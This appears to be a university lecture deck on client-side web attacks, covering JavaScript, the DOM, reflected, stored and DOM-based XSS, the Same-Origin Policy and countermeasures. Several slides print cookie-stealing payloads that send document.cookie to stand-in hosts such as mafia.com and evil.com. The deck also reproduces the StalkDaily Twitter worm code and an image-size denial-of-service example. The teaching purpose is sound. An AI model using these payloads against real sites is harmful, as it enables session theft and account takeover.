attacks on clients: dynamic content & xss · recall: dynamic webpages most web pages do not...

Software and Web Security 2

Attacks on Clients:

Dynamic Content & XSS

(Section 7.1.3 on JavaScript;

7.2.4 on Media content;

7.2.6 on XSS)

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Attacks on web server:

• attacker/client sends malicious input to server

• with the goal to do some damage...

Recap from last lecture

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web server

execution

to dynamically

create a

webpagemalicious

input

Recap from last lecture

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malicious

input

web server data

base

file

systemOS

another user

of the same website

(discussed in this lecture)

Dynamically created webpages & injection attacks

Attacks on client

• Client, ie web browser, can be attacked by malicious input

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web browser web server

• Even the human user can be attacked: recall URL obfuscation.

Example client side problem

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Browser bugs

The web browser get untrusted input from the server.

Bugs in the browser can become exploitable vulnerabilities

• also bugs in browser add-ons, or other helper applications

• Classic Denial of Service (DoS) example: IE image crash. An image with

huge size could crash Internet Explorer and freeze Windows machine

<HTML><BODY>

<img src=”a.jpg” width =”999999999” height=“99999999”>

</BODY><HTML>

Things get more interesting as processing in the browser gets more

powerful, and languages involved are more complex

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More dangerous browser bugs

Denial of Service bugs are the least of your worries...

Possibility of drive-by-downloads

where just visiting a webpage can install malware, by exploiting

security holes in browser, graphics libraries, media players, ...

Homework exercise:

check securityfocus.com for security vulnerabilities

for your favourite web browser

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Dynamic webpages(Sect 7.1.3 & 7.2.4 in book)

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Recall: dynamic webpages

Most web pages do not just contain static HTML, but are dynamic:

ie they contain executable content.

This is an interesting attack vector.

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execution aka processing

client-side scripting

web browser web server

Dynamic Content

Languages for dynamic content:

• JavaScript

• Flash, Silverlight, ...

• ActiveX

• Java

• ....

JavaScript is by far the most widespread of these technologies:

nearly all web pages include JavaScript

• CSS – Cascading Style Sheets – defines layout of headers, links,

etc; not quite execution, but can be abused, and can contain

JavaScript

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Controlling Dynamic Content (7.2.4)

Executing dynamic content can be controlled inside a sandbox

NB the sandbox is made from software

if there are security vulnerabilities in this software, all bets are off,

and attacker might escape...

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ActiveX controls vs Java applets

• Windows only technology,

runs in Internet Explorer (IE)

.

• binary code executed on

behalf of the browser .

• can access user files

• support for signed code plus Microsoft OS update can set

kill bit to stop dangerous controls

• an installed control can be run

from any website (up to IE7)

• IE configuration options

– allow, block, prompt

– also control by administrator

• platform independent

downside: OS patching might miss

Java patching

• bytecode executed on virtual

machine within browser

binary code is for specific machine,

byte code is interpreted by virtual

machine

• restrictive sandbox

• support for signed code

• applet only runs on site where it

is embedded

• sandboxing configuration

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What is the Kill-Bit?

• Kill-Bit (or killbit) is not actually a bit

• Kill-Bit is a registry entry for a

particular ActiveX control, marking it

as non-loadable in browser

• Microsoft releases Kill-Bits in security

updates to block vulnerable ActiveX

controls

JavaScript & the DOM(Sect 7.1.3)

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JavaScript

JavaScript is the leading language used in client-side scripting

embedded in web page to support client-side dynamic behaviourie. executed in user's webbrowser

reacting on events (eg keyboard) and interacting with webpage

• developed by Netscape, later standardised by ECMA

• JavaScript has NOTHING to do with Java

• typical uses:

– dynamic user interaction with the web page Eg opening and closing menus, changing pictures,...JavaScript code can completely rewrite the contents of an HTML page!

– client-side input validation

Eg has the user entered a correct date, a syntactically correct email address or credit card number, or a strong enough password?

NB such validation should not be security critical! Why?

Malicious client can by-pass such validation!

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JavaScript (Sect 7.1.3 in book)

• scripting language interpreted by browser, with code in the HTML

<script type=“text/javascript”> ... </script>

• Built-in functions eg to change content of the window

<script> alert(“Hello World!”); </script>

A web page can define additional functions

<script>function hi(){alert(“Hello World!”);}</script>

• built-in event handlers for reacting to user actions

<img src=“pic.jpg” onMouseOver=“javascript:hi()”>

Some examples in http://www.cs.ru.nl/~erikpoll/sws2/demo/demo_javascript.html

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optional, default is javascript

DOM (Document Object Model)

• DOM is representation of the content of a webpage, in OO style

• Webpage is an object document with sub-objects, such as

document.URL, document.referrer, document.cookie,…

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DOM (Document Object Model)

JavaScript can interact with the DOM to access or change parts of the

current webpage

incl. text, URL, cookies, ....

This gives JavaScript its real power!

Eg it allows scripts to change layout and content of the webpage, open

and menus in the webpage,...

See http://www.cs.ru.nl/~erikpoll/sws2/demo/demo_DOM.html for some examples

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Security features

• The user environment is protected from malicious JavaScript

programs by a sand-boxing environment inside browser

• JavaScript programs are protected from each other by

compartementalisation

– Same-Origin-Policy: code can only access resources with the

same origin site (more on that later)

As we will see, such protection has its limits...

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Recipe for security disasters?

In a web browser we have classic ingredients for disaster

• untrusted executable content, coming from all over the web

JavaScript (also Flash, Active X, Java)

• confidential information

usernames, passwords, cookies, credit card numbers, content of

emails, any information entered in web forms, ...

• sensitive functionality

ability to email, tweet, buy things, pay for things, …

• Unfortunately, JavaScript is so widely used that turning it off is not

an option

• Web-browser has become attractive place to attack

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HTML injection & XSS

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21

Search

No matches found for sos

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sos

22

<h1>sos</h1> Search

No matches found for

sos

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What proper input validation should produce

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<h1>sos</h1> Search

No matches found for sos

or

Here < and > written as < and > in the HTML source

<h1>sos</h1> Search

No matches found for <h1>sos</h1>

What can happen if we enter more complicated HTML code as

search term ?

<img source=http://www.spam.org/advert.jpg>

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<img source=“ Search


What can happen if we enter more complicated HTML code as

search term ?

<script language=“text/javascript">

alert(‘Hello World!');

</script>

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• Here we entered

executable code –

JavaScript

• Such HTML injection

is called Cross Site

Scripting (XSS)

<script langu Search


HTML injection

HTML injection: user input is echoed back to the client

without validation or escaping

But why is this a security problem?

1 simple HTML injection

attacker can deface a webpage, with pop-ups, ads, or fake info

http://cnn.com/search?string=“<h1>Obama sends US troops

to Kiev</h1> <img=.......>”

Such HTML injections abuses trust that a user has in a website:

the user believes the content is from the website,

when in fact it comes from an attacker

2 XSS

the injected HTML contains executable content, typically JavaScript

Execution of this code can have all sorts of nasty effects...

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XSS (Cross Site Scripting)

Attacker inject scripts into a website, such that

• scripts are passed on to a victim

• scripts are executed

– in the victim’s browser

– with the victim’s access rights

– with the victim’s data – incl. cookies

– interacting with the user, with the webpage (using the DOM),

causing new HTTP requests, ...

Usually injected scripts are JavaScript, but could be Flash, ActiveX, Java, ...

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Simple HTML injection

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web server

malicious

output

browser

XSS

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web serverbrowser

processing of

malicious scripts

another

web server

unwanted requests

malicious output

incl. scripts

Stealing cookies with XSS

Consider

http://victim.com/search.php?term=<script>

window.open(“http://mafia.com/steal.php?cookie=”

+ document.cookie)</script>

What if user clicks on this link?

1. browser goes to http://victim.com/search.php

2. website victim.com returns

<HTML> Results for <script>....</script> </HTML>

3. browser executes script and sends mafia his cookie

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Stealing cookies using XSS

More stealthy way of stealing cookies

<script>

img = new Image();

img.src =“http://mafia.com/” +

encodeURI(document.cookie)

</script>

Better because the user won’t notice a change in the webpage when this script is executed, unlike the one on the previous page

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Stealing cookies using XSS

Or invisible iframe

<iframe frameborder=0 src=“” height=0 width=0 id=“XSS”

name=“XSS”></iframe>

<script>

frames[“XSS”].location.href=“http://mafia.com/steal.php

?cookie=” + document.cookie;

</script>

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Delivery mechanism for XSS

Different ways for an attacker to get scripts on to the victim’s browsers

1. Reflected XSS (aka non-persistent XSS)

2. Stored XSS (aka persistent XSS)

3. DOM based XSS

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Scenario 1: reflected XSS attack

• Attacker crafts a special URL for a vulnerable web site,

often a URL containing JavaScript

• Attacker then tempts victim to click on this link

by sending an email that includes the link, or posting this link on a website

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Reflected aka non-persistent XSS

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malicious

URLweb server

HTML containing

malicious output

Example of reflected XSS attack

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Web Server

3. XSS Attack

AttackerUser

4. User clicks on XSS link

7. Browser runs injected code;

attacker obtains cookie

Variant of reflected XSS: exploiting browser bug/feature

Make someone click on

<a href=”http://trusted.com/

<script>

document.location='http://evil.com/steal.php?'

+ document.cookie

</script>”>Click here for your free prize!</a>

Then trusted.com will produce error message to browser

due to malformed HTML: missing <a

which may include the script which the browser may then execute!

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Scenario 2: stored XSS attack

• Attacker injects HTML - incl. scripts - into a web site,

which is stored at that web site

• This is echoed back later when victim visit the same site

• Typical examples where attacker can try this

– some web forum

– a book review on amazon.com

– a posting on blackboard.ru.nl

– ...

Web2.0 web sites, which allow user-generated content, are ideal for this.

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Stored aka persistent XSS

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malicious

input

web server data

base

another user

of the same website

attacker storing

malicious content

on website

HTML containing

malicious output

Scenario 3: DOM based attack

Attacker injects malicious content into a webpage via existing scripts

in that webpage that interact with the DOM

Eg, the javascript code

<script> var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));

</script>

in webpage will copy name parameter from URL into that webpage

Eg, for http://bla.com/welcome.html?name=Jan it will return Jan

But what if the URL contains javascript in the name?

eg http://bla.com/welcome.html?name=<script>...

An attacker can now use a malicious URL, as in a reflected attack

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The injected payload can for instance be in the URL

Details depend on the browser

eg. browser may encode < and > in URL

A good web application might spot a malicious URL

but ...the server may be by-passed and never get to see the malicious

payload!

http://bla.com/welcome.html#name=<script>.....</script>

Part of the URL after # is not sent to bla.com,

but is part of document.URL

So server-side validation can’t help...

Scenario 3: DOM based attack

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XSS vulnerability on twitter

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Example: persistent XSS attack on Google docs

• save as CSV file in spreadsheets.google.com

• some web browsers render this content as HTML, and execute the script!

• this then allows attacks on gmail.com, docs.google.com, code.google.com, .. because these all share the same cookie

Is this the browser’s fault, or the web-site’s (ie google docs) fault?

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Twitter StalkDaily worm

Included in twitter profile:

<a href="http://stalkdaily.com"/><script src="http://evil.org/attack.js”>...

where attack.js includes the following attack code

var update = urlencode("Hey everyone, join www.StalkDaily.com.");

var ajaxConn = new XHConn();...

ajaxConn.connect("/status/update", "POST",

"authenticity_token="+authtoken+"&status="+update+“

&tab=home&update=update");

var set = urlencode('http://stalkdaily.com"></a><script

src="http://evil.org/attack.js"> </script><script

src="http://evil.org/attack.js"></script><a ');

ajaxConn1.connect("/account/settings", "POST",

"authenticity_token="+authtoken+"&user[url]="+set+“

&tab=home&update=update");

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change profile to include

the attack code!

tweet the link

executed when

you see this

profile

Same-Origin-Policy

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Same-Origin-Policy (SOP)

Same-Origin-Policy intended to prevent attack from a malicious website

on other web pages a user is interacting with

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client browser

twitter.com mafia.com

Same-Origin-Policy (SOP)

Same-Origin-Policy intended to prevent attack from a malicious website

on other web pages a user is interacting with

Basic idea

• Scripts can only access information with same origin

where origin is triple <URI scheme, address, port>

– eg <http, ru.nl, 80>, <https, ru.nl, 1080>

• HTML content belongs to origin where it was downloaded

• Scripts included in a HTML document have the origin of that

document including them

– rationale: author of HTML page should know that scripts he

includes are harmless

See demos in http://www.cs.ru.nl/~erikpoll/sws2/demo/test_SOP.html

and http://www.cs.ru.nl/~erikpoll/sws2/demo/test_SOP2.html

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Will SOP prevent cookie stealing?

Suppose attacker injects cookie stealing script in blackboard.ru.nl

Will the SOP prevent this script from accessing cookie? No!

Scripts include in blackboard.ru.nl will have access to the cookie

of that domain.

Even if the scipt is included via a link, such as

<script src=“http://mafia.com/steal_cookie.js”>

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attacker browser

Circumventing the Same-Origin-Policy

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client browser

twitter.com

attacker uploads

malicious contentuser’s browser can’t

distinguish between

good & bad scripts

mafia.com

Countermeasures against XSS

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Recap

• XSS involves attacker getting malicious (java)scripts in victim’s

browser, so that they are executed

– in the victim’s browser

– with the victim’s rights

– in the context of a web page from the attacked site

• typical example: trying to steal cookies

• XSS is a special form of HTML injection

– the attacker injects HTML that happens to include scripts

• reflected or stored attack, or injected via DOM

• Same-Origin-Policy does not prevent this

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HTML injection vs SQL injection

Common theme: attacker injects malicious data with special meaning,

using special characters or words

– using ‘ ; .... in SQL

– using <img> <script> ... in HTML

which gets interpreted to have harmful consequence

Difference:

• SQL injection is a server-side problem only

• HTML injection or XSS is client-side problem, but also a server-side

problem, esp. in the case of stored/persistent XSS

– hence: not so clear who should or could solve the problem:

the browser or the server?

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Input vs output problems?

• Is XSS due to lack of input validation or a lack of output validation

1. for reflected XSS attack?

2. for stored XSS attack?

• Should we do input validation or output validation to prevent XSS?

• Should the web browser or the server do this?

• Why not both?

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Client-side countermeasures

• Most browsers can block pop-up windows & multiple alerts

• Browser can disable scripts on a per-domain basis

– disallowing all script except those permitted by user

– disallowing all scripts on a public blacklist

For example, NoScript extension of Firefox

NotScripts and ScriptSafe extension of Chrome

• Browser can sanitize outgoing content in HTTP requests

– of GET/POST parameters, URL, referred header, ..

Does not help with stored XSS. Why?

Ad-blocker plugins can also reduce the risk of XSS

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Server-side countermeasures

Server should validate (escape) HTML tags in content

• This could be done for inputs entering the web application,

– eg using a web application firewall could be used

or when data exiting the web application to be stored in database

• This could also be done when data enters the web application from

the database

• Prevent cookie stealing by using tagged cookies

– include IP address in cookie

– only allow access to original IP address that cookie was created for

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XSS attacker tricks

• How does attacker “send” information to herself?E.g. by changing the source of an image

document.images[0].src=“www.attacker.com/”+

document.cookie;

• How much code can attacker inject?We’re on the web! Attacker can use a URLs to download scripts

document.scripts(0).src

="http://mafia.com/evilscript.js“

• Form redirecting: an XSS script can redirect the target of a form to steal the form values (e.g., passwords)

• What if a web application does not allow use of / ?var n = new RegExp(“http: myserver evilscr.js”);

forslash = location.href.charAt(6);

...

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attacks on clients: dynamic content & xss · recall: dynamic webpages most web pages do not...

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